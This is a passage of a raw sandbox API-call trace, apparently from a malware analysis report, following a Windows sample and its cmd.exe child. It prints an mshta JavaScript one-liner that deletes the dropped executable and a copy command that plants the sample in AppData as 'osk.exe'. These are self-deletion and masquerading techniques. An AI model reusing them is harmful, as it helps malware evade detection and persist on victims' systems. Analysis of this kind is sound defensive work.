ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);\"") returned 1 [0028.417] SysReAllocStringLen (in: pbstr=0x18fe14*="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('@');close()}catch(e){}},10);\"", psz="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);\"", len=0x97 | out: pbstr=0x18fe14*="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);\"") returned 1 [0028.417] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x20, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpStartupInfo=0x18fdd0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fdc0 | out: lpCommandLine="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);\"", lpProcessInformation=0x18fdc0*(hProcess=0x168, hThread=0x16c, dwProcessId=0x940, dwThreadId=0x10c)) returned 1 [0028.437] ExitProcess (uExitCode=0x0) Thread: id = 7 os_tid = 0xb78 Thread: id = 9 os_tid = 0xb88 Thread: id = 10 os_tid = 0x980 Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x32eb4000" os_pid = "0xb7c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xb84" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\" /c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 8 os_tid = 0xb80 [0027.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2ef7a4 | out: lpSystemTimeAsFileTime=0x2ef7a4*(dwLowDateTime=0x371ee2c0, dwHighDateTime=0x1d5ddc0)) [0027.634] GetCurrentProcessId () returned 0xb7c [0027.634] GetCurrentThreadId () returned 0xb80 [0027.634] GetTickCount () returned 0x1152128 [0027.634] QueryPerformanceCounter (in: lpPerformanceCount=0x2ef79c | out: lpPerformanceCount=0x2ef79c*=16940071460) returned 1 [0027.635] GetModuleHandleA (lpModuleName=0x0) returned 0x49dd0000 [0027.635] __set_app_type (_Type=0x1) [0027.635] __p__fmode () returned 0x76be31f4 [0027.635] __p__commode () returned 0x76be31fc [0027.636] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49df21a6) returned 0x0 [0027.636] __getmainargs (in: _Argc=0x49df4238, _Argv=0x49df4240, _Env=0x49df423c, _DoWildCard=0, _StartInfo=0x49df4140 | out: _Argc=0x49df4238, _Argv=0x49df4240, _Env=0x49df423c) returned 0 [0027.636] GetCurrentThreadId () returned 0xb80 [0027.636] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb80) returned 0x60 [0027.636] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0027.636] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0027.636] SetThreadUILanguage (LangId=0x0) returned 0x409 [0027.636] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0027.636] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ef734 | out: phkResult=0x2ef734*=0x0) returned 0x2 [0027.637] VirtualQuery (in: lpAddress=0x2ef76b, lpBuffer=0x2ef704, dwLength=0x1c | out: lpBuffer=0x2ef704*(BaseAddress=0x2ef000, AllocationBase=0x1f0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0027.637] VirtualQuery (in: lpAddress=0x1f0000, lpBuffer=0x2ef704, dwLength=0x1c | out: lpBuffer=0x2ef704*(BaseAddress=0x1f0000, AllocationBase=0x1f0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0027.637] VirtualQuery (in: lpAddress=0x1f1000, lpBuffer=0x2ef704, dwLength=0x1c | out: lpBuffer=0x2ef704*(BaseAddress=0x1f1000, AllocationBase=0x1f0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0027.637] VirtualQuery (in: lpAddress=0x1f3000, lpBuffer=0x2ef704, dwLength=0x1c | out: lpBuffer=0x2ef704*(BaseAddress=0x1f3000, AllocationBase=0x1f0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0027.637] VirtualQuery (in: lpAddress=0x2f0000, lpBuffer=0x2ef704, dwLength=0x1c | out: lpBuffer=0x2ef704*(BaseAddress=0x2f0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0027.637] GetConsoleOutputCP () returned 0x1b5 [0027.637] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49df4260 | out: lpCPInfo=0x49df4260) returned 1 [0027.637] SetConsoleCtrlHandler (HandlerRoutine=0x49dee72a, Add=1) returned 1 [0027.637] _get_osfhandle (_FileHandle=1) returned 0x7 [0027.637] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0027.637] _get_osfhandle (_FileHandle=1) returned 0x7 [0027.637] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49df41ac | out: lpMode=0x49df41ac) returned 1 [0027.638] _get_osfhandle (_FileHandle=1) returned 0x7 [0027.638] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0027.638] _get_osfhandle (_FileHandle=0) returned 0x3 [0027.638] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49df41b0 | out: lpMode=0x49df41b0) returned 1 [0027.638] _get_osfhandle (_FileHandle=0) returned 0x3 [0027.638] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0027.638] GetEnvironmentStringsW () returned 0x342168* [0027.638] GetProcessHeap () returned 0x330000 [0027.638] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xaca) returned 0x342c40 [0027.638] FreeEnvironmentStringsW (penv=0x342168) returned 1 [0027.638] GetProcessHeap () returned 0x330000 [0027.639] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4) returned 0x341850 [0027.639] GetEnvironmentStringsW () returned 0x342168* [0027.639] GetProcessHeap () returned 0x330000 [0027.639] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xaca) returned 0x343718 [0027.639] FreeEnvironmentStringsW (penv=0x342168) returned 1 [0027.639] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ee6a4 | out: phkResult=0x2ee6a4*=0x68) returned 0x0 [0027.639] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ee6ac, lpData=0x2ee6b0, lpcbData=0x2ee6a8*=0x1000 | out: lpType=0x2ee6ac*=0x0, lpData=0x2ee6b0*=0x0, lpcbData=0x2ee6a8*=0x1000) returned 0x2 [0027.639] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ee6ac, lpData=0x2ee6b0, lpcbData=0x2ee6a8*=0x1000 | out: lpType=0x2ee6ac*=0x4, lpData=0x2ee6b0*=0x1, lpcbData=0x2ee6a8*=0x4) returned 0x0 [0027.639] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ee6ac, lpData=0x2ee6b0, lpcbData=0x2ee6a8*=0x1000 | out: lpType=0x2ee6ac*=0x0, lpData=0x2ee6b0*=0x1, lpcbData=0x2ee6a8*=0x1000) returned 0x2 [0027.639] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ee6ac, lpData=0x2ee6b0, lpcbData=0x2ee6a8*=0x1000 | out: lpType=0x2ee6ac*=0x4, lpData=0x2ee6b0*=0x0, lpcbData=0x2ee6a8*=0x4) returned 0x0 [0027.639] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ee6ac, lpData=0x2ee6b0, lpcbData=0x2ee6a8*=0x1000 | out: lpType=0x2ee6ac*=0x4, lpData=0x2ee6b0*=0x40, lpcbData=0x2ee6a8*=0x4) returned 0x0 [0027.639] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ee6ac, lpData=0x2ee6b0, lpcbData=0x2ee6a8*=0x1000 | out: lpType=0x2ee6ac*=0x4, lpData=0x2ee6b0*=0x40, lpcbData=0x2ee6a8*=0x4) returned 0x0 [0027.639] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ee6ac, lpData=0x2ee6b0, lpcbData=0x2ee6a8*=0x1000 | out: lpType=0x2ee6ac*=0x0, lpData=0x2ee6b0*=0x40, lpcbData=0x2ee6a8*=0x1000) returned 0x2 [0027.639] RegCloseKey (hKey=0x68) returned 0x0 [0027.639] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ee6a4 | out: phkResult=0x2ee6a4*=0x68) returned 0x0 [0027.639] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ee6ac, lpData=0x2ee6b0, lpcbData=0x2ee6a8*=0x1000 | out: lpType=0x2ee6ac*=0x0, lpData=0x2ee6b0*=0x40, lpcbData=0x2ee6a8*=0x1000) returned 0x2 [0027.639] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ee6ac, lpData=0x2ee6b0, lpcbData=0x2ee6a8*=0x1000 | out: lpType=0x2ee6ac*=0x4, lpData=0x2ee6b0*=0x1, lpcbData=0x2ee6a8*=0x4) returned 0x0 [0027.639] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ee6ac, lpData=0x2ee6b0, lpcbData=0x2ee6a8*=0x1000 | out: lpType=0x2ee6ac*=0x0, lpData=0x2ee6b0*=0x1, lpcbData=0x2ee6a8*=0x1000) returned 0x2 [0027.639] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ee6ac, lpData=0x2ee6b0, lpcbData=0x2ee6a8*=0x1000 | out: lpType=0x2ee6ac*=0x4, lpData=0x2ee6b0*=0x0, lpcbData=0x2ee6a8*=0x4) returned 0x0 [0027.640] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ee6ac, lpData=0x2ee6b0, lpcbData=0x2ee6a8*=0x1000 | out: lpType=0x2ee6ac*=0x4, lpData=0x2ee6b0*=0x9, lpcbData=0x2ee6a8*=0x4) returned 0x0 [0027.640] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ee6ac, lpData=0x2ee6b0, lpcbData=0x2ee6a8*=0x1000 | out: lpType=0x2ee6ac*=0x4, lpData=0x2ee6b0*=0x9, lpcbData=0x2ee6a8*=0x4) returned 0x0 [0027.640] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ee6ac, lpData=0x2ee6b0, lpcbData=0x2ee6a8*=0x1000 | out: lpType=0x2ee6ac*=0x0, lpData=0x2ee6b0*=0x9, lpcbData=0x2ee6a8*=0x1000) returned 0x2 [0027.640] RegCloseKey (hKey=0x68) returned 0x0 [0027.640] time (in: timer=0x0 | out: timer=0x0) returned 0x5e3d6f9a [0027.640] srand (_Seed=0x5e3d6f9a) [0027.640] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\" /c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\"" [0027.640] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\" /c copy /y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqrywk.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\osk.exe\"" [0027.640] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49df5260 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0027.640] GetProcessHeap () returned 0x330000 [0027.640] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x210) returned 0x342168 [0027.640] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x342170, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0027.640] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e00640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0027.640] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e00640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0027.640] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e00640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0027.640] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0027.640] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0027.640] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0027.640] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0027.640] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0027.640] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0027.641] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0027.641] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0027.641] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0027.641] GetProcessHeap () returned 0x330000 [0027.641] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x342c40 | out: hHeap=0x330000) returned 1 [0027.641] GetEnvironmentStringsW () returned 0x342380* [0027.641] GetProcessHeap () returned 0x330000 [0027.641] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xae2) returned 0x344ce0 [0027.641] FreeEnvironmentStringsW (penv=0x342380) returned 1 [0027.641] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e00640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0027.641] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49e00640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0027.641] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0027.641] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0027.641] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0027.641] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0027.641] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0027.641] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0027.641] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0027.641] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0027.641] GetProcessHeap () returned 0x330000 [0027.641] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x30) returned 0x341fe8 [0027.641] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2ef470 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0027.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x2ef470, lpFilePart=0x2ef46c | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x2ef46c*="system32") returned 0x13 [0027.641] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0027.641] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x2ef1ec | out: lpFindFileData=0x2ef1ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x3457d0 [0027.642] FindClose (in: hFindFile=0x3457d0 | out: hFindFile=0x3457d0) returned 1 [0027.642] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x2ef1ec | out: lpFindFileData=0x2ef1ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x330ff0 [0027.642] FindClose (in: hFindFile=0x330ff0 | out: hFindFile=0x330ff0) returned 1 [0027.642] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0027.642] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0027.642] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0027.642] GetProcessHeap () returned 0x330000 [0027.642] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x344ce0 | out: hHeap=0x330000) returned 1 [0027.642] GetEnvironmentStringsW () returned 0x3441f0* [0027.642] GetProcessHeap () returned 0x330000 [0027.642] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb12) returned 0x344d10 [0027.642] FreeEnvironmentStringsW (penv=0x3441f0) returned 1 [0027.642] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49df5260 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0027.642] GetProcessHeap () returned 0x330000 [0027.642] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x341fe8 | out: hHeap=0x330000) returned 1 [0027.642] GetProcessHeap () returned 0x330000 [0027.642] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x400e) returned 0x345830 [0027.643] GetProcessHeap () returned 0x330000 [0027.643] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xf2) returned 0x330ff0 [0027.643] GetProcessHeap () returned 0x330000 [0027.643] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345830 | out: hHeap=0x330000) returned 1 [0027.643] GetConsoleOutputCP () returned 0x1b5 [0027.643] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49df4260 | out: lpCPInfo=0x49df4260) returned 1 [0027.643] GetUserDefaultLCID () returned 0x409 [0027.643] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49df4950, cchData=8 | out: lpLCData=":") returned 2 [0027.644] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2ef5b0, cchData=128 | out: lpLCData="0") returned 2 [0027.644] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2ef5b0, cchData=128 | out: lpLCData="0") returned 2 [0027.644] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2ef5b0, cchData=128 | out: lpLCData="1") returned 2 [0027.644] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49df4940, cchData=8 | out: lpLCData="/") returned 2 [0027.644] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49df4d80, cchData=32 | out: lpLCData="Mon") returned 4 [0027.644] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49df4d40, cchData=32 | out: lpLCData="Tue") returned 4 [0027.644] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49df4d00, cchData=32 | out: lpLCData="Wed") returned 4 [0027.644] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49df4cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0027.644] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49df4c80, cchData=32 | out: lpLCData="Fri") returned 4 [0027.644] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49df4c40, cchData=32 | out: lpLCData="Sat") returned 4 [0027.644] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49df4c00, cchData=32 | out: lpLCData="Sun") returned 4 [0027.644] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49df4930, cchData=8 | out: lpLCData=".") returned 2 [0027.644] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49df4920, cchData=8 | out: lpLCData=",") returned 2 [0027.644] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0027.645] GetProcessHeap () returned 0x330000 [0027.645] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20c) returned 0x342ea0 [0027.645] GetConsoleTitleW (in: lpConsoleTitle=0x342ea0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0027.646] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0027.646] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0027.646] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0027.646] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0027.646] GetProcessHeap () returned 0x330000 [0027.646] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x400a) returned 0x345830 [0027.646] GetProcessHeap () returned 0x330000 [0027.646] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345830 | out: hHeap=0x330000) returned 1 [0027.647] _wcsicmp (_String1="copy", _String2=")") returned 58 [0027.647] _wcsicmp (_String1="FOR", _String2="copy") returned 3 [0027.647] _wcsicmp (_String1="FOR/?", _String2="copy") returned 3 [0027.647] _wcsicmp (_String1="IF", _String2="copy") returned 6 [0027.647] _wcsicmp (_String1="IF/?", _String2="copy") returned 6 [0027.647] _wcsicmp (_String1="REM", _String2="copy") returned 15 [0027.647] _wcsicmp (_String1="REM/?", _String2="copy") returned 15 [0027.647] GetProcessHeap () returned 0x330000 [0027.647] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x58) returned 0x3310f0 [0027.647] GetProcessHeap () returned 0x330000 [0027.647] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x12) returned 0x331150 [0027.649] GetProcessHeap () returned 0x330000 [0027.649] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xe6) returned 0x331170 [0027.650] GetConsoleTitleW (in: lpConsoleTitle=0x2ef2a8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0027.650] _wcsicmp (_String1="copy", _String2="DIR") returned -1 [0027.650] _wcsicmp (_String1="copy", _String2="ERASE") returned -2 [0027.650] _wcsicmp (_String1="copy", _String2="DEL") returned -1 [0027.650] _wcsicmp (_String1="copy", _String2="TYPE") returned -17 [0027.650] _wcsicmp (_String1="copy", _String2="COPY") returned 0 [0027.650] GetProcessHeap () returned 0x330000 [0027.650] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x1c4) returned 0x3430b8 [0027.651] GetProcessHeap () returned 0x330000 [0027.651] RtlReAllocateHeap (Heap=0x330000, Flags=0x0, Ptr=0x3430b8, Size=0xe8) returned 0x3430b8 [0027.651] GetProcessHeap () returned 0x330000 [0027.651] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x3430b8) returned 0xe8 [0027.651] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0027.651] GetProcessHeap () returned 0x330000 [0027.652] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xf0) returned 0x3431a8 [0027.652] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49df5260 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0027.652] GetProcessHeap () returned 0x330000 [0027.652] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x2c) returned 0x331260 [0027.652] GetProcessHeap () returned 0x330000 [0027.652] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x2c) returned 0x3432a0 [0027.652] GetProcessHeap () returned 0x330000 [0027.652] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x18) returned 0x331298 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0027.652] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0027.652] _wcsnicmp (_String1="COPYCMD", 